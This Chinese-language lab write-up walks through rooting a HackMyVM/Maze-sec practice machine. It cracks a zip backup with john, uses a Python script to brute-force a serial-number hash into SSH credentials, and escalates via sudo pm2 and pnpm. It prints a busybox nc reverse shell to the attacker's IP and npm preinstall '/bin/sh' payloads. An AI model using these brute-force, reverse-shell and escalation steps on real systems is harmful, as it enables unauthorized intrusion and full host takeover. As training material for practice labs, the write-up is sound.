凌动bugHash_20250607

1. 基本信息

```
靶机链接:
https://maze-sec.com/library
https://hackmyvm.eu/machines/machine.php?vm=
```

```
难度: ⭐⭐
知识点: 信息收集, `hash`爆破, `pm2`提权, `npm`提权
```

2. 信息收集

Nmap

```
└─# arp-scan -l | grep PCS
192.168.31.127  08:00:27:42:f3:c5       PCS Systemtechnik GmbH
└─# IP=192.168.31.127
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 08:32 CST
Nmap scan report for lingdong (192.168.31.127)
Host is up (0.0018s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0 (protocol 2.0)
8080/tcp open  http    Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title:
\xE5\xA4\xA7\xE5\x82\xBB\xE5\xAD\x90\xE5\xBA\x8F\xE5\x88\x97\xE5\x8F\x
B7\xE9\xAA\x8C\xE8\xAF\x81\xE7\xB3\xBB\xE7\xBB\x9F
| http-robots.txt: 1 disallowed entry
|_zip2john 2026bak.zip > ziphash
MAC Address: 08:00:27:42:F3:C5 (PCS Systemtechnik/Oracle VirtualBox
virtual NIC)
```

开放了`22、8080`端口,先看看`web`有啥东西

3.目录扫描

```
└─# dirsearch -u http://$IP:8080  -x 403 -e txt,php,html
[08:33:55] 301 -   153B  - /css  ->  /css/
[08:33:58] 301 -   152B  - /js  ->  /js/
[08:34:03] 200 -   122B  - /robots.txt
```

有`robots.txt`,先习惯性看看内容

```
#http://192.168.31.127:8080/robots.txt
User-agent: QQGroupbot
Disallow: zip2john 2026bak.zip > ziphash
john --wordlist=/usr/share/wordlists/rockyou.txt ziphash
```

把`2026bak.zip`取下来

```
└─# wget http://192.168.31.127:8080/2026bak.zip
--2025-06-07 08:41:05--  http://192.168.31.127:8080/2026bak.zip
正在连接 192.168.31.127:8080... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度: 676250 (660K) [application/zip]
正在保存至: “2026bak.zip”

2026bak.zip                   100%
[==================================================>] 660.40K  --.-KB/s
用时 0.1s

2025-06-07 08:41:06 (5.04 MB/s) - 已保存 “2026bak.zip” [676250/676250])
┌──(root㉿LAPTOP-FAMILY)-[/tmp]
└─# zip2john 2026bak.zip > ziphash
└─# john --wordlist=/usr/share/wordlists/rockyou.txt ziphash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789        (2026bak.zip)
1g 0:00:00:00 DONE (2025-06-07 08:42) 25.00g/s 1228Kp/s 1228Kc/s
1228KC/s 123456..trudy
Use the "--show" option to display all of the cracked passwords
reliably
Session completed.
```

根据提示爆破压缩包密码为`123456789`，解压后是网页的源码

4.获得`welcome`权限

没读取源码的备份也不影响，直接访问页面是一个`序列号验证`页面，看源码有加密逻辑，把已知信息丢给`AI`让写个脚本爆破正确序列号，编写的`python`脚本如下

`爆破hash`

```python
import requests
import hashlib
import sys
import time

# 目标URL和已知信息
TARGET_URL = "http://192.168.31.127:8080/checkSN"  # 根据抓包信息设置目标URL
KNOWN_HASH = "fff6b1d8405256ad9176e19bf2779969"  # 测试序列号的已知hash
KEY = "6K+35LiN6KaB5bCd6K+V5pq05Yqb56C06Kej77yM5LuU57uG55yL55yL5Yqg5a+G5rqQ5Luj56CB44CC"
VI = "Jkdsfojweflk0024564555*"


def calculate_hashsn(c1, c2, c3, c4, c5):
    """计算5个字符组合的MD5值"""
    combined = c1 + c2 + c3 + c4 + c5
    return hashlib.md5(combined.encode()).hexdigest()


def verify_test_combination():
    """验证测试序列号的组合是否有效"""
    print("[*] 验证测试序列号组合...")
    # 测试序列号的5字符组合（需要逆向推导）
    test_combinations = [
        ('6', 'K', '+', '3', 'J'),
        ('6', 'K', '+', '3', 'k'),
        ('6', 'K', '+', '3', 'd')
    ]

    for i, combo in enumerate(test_combinations):
        c1, c2, c3, c4, c5 = combo
        hashsn = calculate_hashsn(c1, c2, c3, c4, c5)

        if hashsn == KNOWN_HASH:
            print(f"[+] 测试序列号组合验证成功: {combo} -> {hashsn}")
            return combo

    print("[-] 未找到匹配的测试序列号组合")
    return None


def brute_force_sn():
    """爆破所有可能的字符组合"""
    total_combinations = 12 * 9 * 8 * 7 * 6
    count = 0
    start_time = time.time()
    found_test = False
    test_combo = None

    print("[*] 开始爆破序列号验证凭证...")
    print(f"[*] 总组合数: {total_combinations}")

    # 枚举所有可能的字符组合
    for c1 in KEY[:12]:
        for c2 in KEY[:9]:
            for c3 in KEY[:8]:
                for c4 in KEY[:7]:
                    for c5 in VI[:6]:
                        count += 1
                        combo = (c1, c2, c3, c4, c5)
                        hashsn = calculate_hashsn(*combo)

                        # 检查是否匹配测试序列号
                        if not found_test and hashsn == KNOWN_HASH:
                            print(f"\n[+] 找到测试序列号组合: {combo}")
                            test_combo = combo
                            found_test = True

                        # 发送验证请求
                        payload = {"sn": hashsn}
                        try:
                            response = requests.post(TARGET_URL,
json=payload, timeout=5)
                            if response.status_code == 200:
                                data = response.json()
                                if data.get('code') == 200:
                                    elapsed = time.time() - start_time
                                    print(f"\n\n[+] 爆破成功! 用时:
{elapsed:.2f}秒")

                                    print(f"[+] 有效组合: {c1}{c2}{c3}
{c4}{c5}")

                                    print(f"[+] 凭证hash: {hashsn}")
                                    print(f"[+] 服务器响应:
{data.get('data', '')}")
                                    return
                        except (requests.RequestException,
requests.Timeout):
                            continue

                        # 进度显示
                        if count % 100 == 0 or count ==
total_combinations:
                            elapsed = time.time() - start_time
                            rate = count / elapsed if elapsed > 0 else
0
                            percent = (count / total_combinations) *
100
                            remaining = (total_combinations - count) /
rate if rate > 0 else 0

                            sys.stdout.write(
                                f"\r进度: {percent:.2f}% | "
                                f"已完成: {count}/{total_combinations}
| "
                                f"速度: {rate:.1f}组合/秒 | "
                                f"预计剩余: {remaining:.1f}秒"
                            )
                            sys.stdout.flush()

    print("\n\n[-] 爆破完成, 未找到有效凭证")
    if found_test:
        print(f"[+] 测试序列号组合存在: {test_combo}")
    else:
        print("[-] 未找到测试序列号组合")


if __name__ == "__main__":
    # 首先验证测试序列号组合
    test_combo = verify_test_combination()

    # 执行爆破
    brute_force_sn()

    print("\n[*] 脚本执行结束")
```

很快就有运行结果

```
[*] 验证测试序列号组合...
[-] 未找到匹配的测试序列号组合
[*] 开始爆破序列号验证凭证...
[*] 总组合数: 36288
进度: 2.76% | 已完成: 1000/36288 | 速度: 72.9组合/秒 | 预计剩余: 483.9秒

[+] 爆破成功! 用时: 14.13秒
[+] 有效组合: 6365d
[+] 凭证hash: ee5a82db0f9bf1c1903821477e11c067
[+] 服务器响应: welcome:DPKU9-8APJ9-8XZJ0-8XZ08-7H111

[*] 脚本执行结束
```

拿到 `ssh` 的账号密码信息 `welcome:DPKU9-8APJ9-8XZJ0-8XZ08-7H111`，好熟悉的密码，就是页面序列号的示例

5.获得 `welcome` 权限

测试直接用 `welcome:DPKU9-8APJ9-8XZJ0-8XZ08-7H111` 成功 `ssh` 登陆靶机

```
└─# welcome:DPKU9-8APJ9-8XZJ0-8XZ08-7H111
└─# ssh welcome@192.168.31.127
welcome@192.168.31.127's password:#welcome:DPKU9-8APJ9-8XZJ0-8XZ08-
7H111
=============================
Welcome!!!
QQ Group:660930334
=============================
lingdong:~$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
lingdong:~$ cd
lingdong:~$ ls
user.txt
```

拿到 `user.txt`

```
lingdong:~$ cat user.txt
flag{user-afc8b494c5ba167971f10274f5a81534}
lingdong:~$
```

6.获得root

`sudo`发现所有用户能够以 `root`身份运行 `/root/.local/share/pnpm/global-bin/pm2`和`/usr/bin/pnpm`

```
lingdong:/tmp$ sudo -l
Matching Defaults entries for welcome on lingdong:

 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sb
in\:/bin

Runas and Command-specific defaults for welcome:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User welcome may run the following commands on lingdong:
    (ALL : ALL) NOPASSWD: /root/.local/share/pnpm/global-bin/pm2
    (ALL : ALL) NOPASSWD: /usr/bin/pnpm
```

先`-h`看看使用说明，两个都可以提权

方法1： `pm2`提权

```
└─# tldr pm2
Node.js 的进程管理工具。
用于日志管理、监控和配置进程。
更多信息：https://pm2.keymetrics.io.
#pm2 start app.js --name 应用名称
 - 启动一个进程并指定名称，以便后续操作使用：
#pm2 list
 - 列出所有进程：
#pm2 delete|del <名称|ID|命名空间|脚本|all|json|stdin...>
 - 停止并从 PM2 进程列表中删除进程
#pm2 --interpreter <解释器>
 - 设置执行应用的解释器（默认：node)
#pm2 start [选项] [名称|命名空间|文件|环境|ID...]
 - 启动并守护应用
......
```

直接通过 `PM2` 的`start`参数执行命令,先直接读`root.txt`文件

```
lingdong:/tmp$ # 创建读取脚本
lingdong:/tmp$ echo '#!/bin/sh
> cat /root/root.txt > /tmp/root_content 2>&1
> ' > /tmp/read_root.sh
lingdong:/tmp$ chmod +x /tmp/read_root.sh
lingdong:/tmp$ ls
read_root.sh
```

```
lingdong:/tmp$ sudo /root/.local/share/pnpm/global-bin/pm2 start
/tmp/read_root.sh --interpreter=/bin/sh -f
[PM2] Starting /tmp/read_root.sh in fork_mode (1 instance)
[PM2] Done.
┌────┬─────────────────────┬───────────┬──────┬────────────┬──────────┬─
─────────┐
│ id │ name                │ mode      │ ↺    │ status     │ cpu      │
memory   │
├────┼─────────────────────┼───────────┼──────┼────────────┼──────────┼─
─────────┤
│ 1  │ read_root           │ fork      │ 0    │ stopped    │ 0%       │
0b       │
│ 0  │ test                │ fork      │ 15   │ errored    │ 0%       │
0b       │
└────┴─────────────────────┴───────────┴──────┴────────────┴──────────┴─
─────────┘
lingdong:/tmp$ cat /tmp/root_content
flag{root-b89ed76b27e91ad5d773ddadae256072}
lingdong:/tmp$
```

能读文件,试试反弹`shell`，注意，靶机只有`sh`且软连接到`busybox`

```
lingdong:/tmp$ ls -l /bin/sh
lrwxrwxrwx    1 root     root            12 Jun  3 08:13 /bin/sh ->
/bin/busybox
lingdong:/tmp$ cat read_root.sh
#!/bin/sh
busybox nc 192.168.31.126 1234 -e /bin/sh
lingdong:/tmp$ sudo /root/.local/share/pnpm/global-bin/pm2 start
/tmp/read_root.sh --interpreter=/bin/sh -f
[PM2] Applying action restartProcessId on app [read_root](ids: [ 0 ])
[PM2] [read_root](0) ✓
[PM2] Process successfully started
┌────┬─────────────────────┬───────────┬──────┬────────────┬──────────┬─
─────────┐
│ id │ name                │ mode      │ ↺    │ status     │ cpu      │
memory   │
├────┼─────────────────────┼───────────┼──────┼────────────┼──────────┼─
─────────┤
│ 0  │ read_root           │ fork      │ 15   │ online     │ 0%       │
892.0kb  │
└────┴─────────────────────┴───────────┴──────┴────────────┴──────────┴─
─────────┘
lingdong:/tmp$
kali# nc -lvp 1234
```

```
listening on [any] 1234 ...
id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel
),11(floppy),20(dialout),26(tape),27(video)
cd
cat ro*
flag{root-b89ed76b27e91ad5d773ddadae256072}
```

找到 `root.txt` 为`flag{root-b89ed76b27e91ad5d773ddadae256072}`

方法2：`pnpm`提权

查阅 GTFOBins 参照`npm`现成方案

```
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
#创建临时目录 TF=$(mktemp -d)
#植入恶意脚本echo '{"scripts": {"preinstall": "/bin/sh"}}' >
$TF/package.json
payload 结构:
{
  "scripts": {
    "preinstall": "/bin/sh"   // 关键提权点
  }
}
攻击原理:
npm 在安装包时自动执行 preinstall 生命周期脚本。
此处将 /bin/sh 定义为预安装脚本，触发时直接启动交互式 shell。
#触发特权执行sudo npm -C $TF --unsafe-perm i
-C $TF,指定工作目录为临时目录,强制加载恶意 package.json
--unsafe-perm,强制保留root权限执行脚本，使/bin/sh获得root shell
i,触发安装命令,执行preinstall脚本
```

成功提权

```
lingdong:/tmp$ TF=$(mktemp -d)
lingdong:/tmp$ echo '{"scripts": {"preinstall": "/bin/sh"}}' >
$TF/package.json
lingdong:/tmp$  sudo /usr/bin/pnpm -C $TF --unsafe-perm i
Already up to date

> @ preinstall /tmp/tmp.GemLlH
> /bin/sh

/tmp/tmp.GemLlH # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flo
ppy),20(dialout),26(tape),27(video)
```

方法3：`pnpm`优雅提权

查阅 GTFOBins 参照`npm`现成方案（`pnpm`就是更牛逼的`npm`，用`tldr`看用法都一样），运行`sudo pnpm exec /bin/sh`直接提权

```
lingdong:/tmp$ sudo pnpm exec /bin/sh
 ERR_PNPM_RECURSIVE_EXEC_NO_PACKAGE  No package found in this workspace
lingdong:/tmp$ find -name package.json 2>/dev/null
./tmp.GemLlH/package.json
lingdong:/tmp$ cd ./tmp.GemLlH/
lingdong:/tmp/tmp.GemLlH$ ll
total 8
-rw-r--r--    1 welcome  welcome         39 Jun  7 11:17 package.json
drwxrwxrwt    6 root     root           280 Jun  7 11:17 ..
-rw-r--r--    1 root     root           114 Jun  7 11:17 pnpm-
lock.yaml
drwxr-xr-x    2 root     root            60 Jun  7 11:21 node_modules
drwx------    3 welcome  welcome        100 Jun  7 11:21 .
lingdong:/tmp/tmp.GemLlH$ sudo pnpm exec /bin/sh
/tmp/tmp.GemLlH # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flo
ppy),20(dialout),26(tape),27(video)
```

直接执行报错，原因是`pnpm exec` 命令需要在包含 `package.json` 的`Node.js`项目根目录中执行，可以切换到有`package.json`的目录就可以成功提权了

也可以执行命令`sudo /usr/bin/pnpm init`初始化， 使用默认值创建一个`package.json`文件

```
lingdong:/tmp$ sudo /usr/bin/pnpm init
Wrote to /tmp/package.json

{
  "name": "tmp",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "packageManager": "pnpm@10.11.1"
}
lingdong:/tmp$ sudo pnpm exec /bin/sh
/tmp # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flo
ppy),20(dialout),26(tape),27(video)
```

拿到`root.txt`

```
~ # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flo
ppy),20(dialout),26(tape),27(video)
~ # cd
~ # cat root.txt
flag{root-b89ed76b27e91ad5d773ddadae256072}
```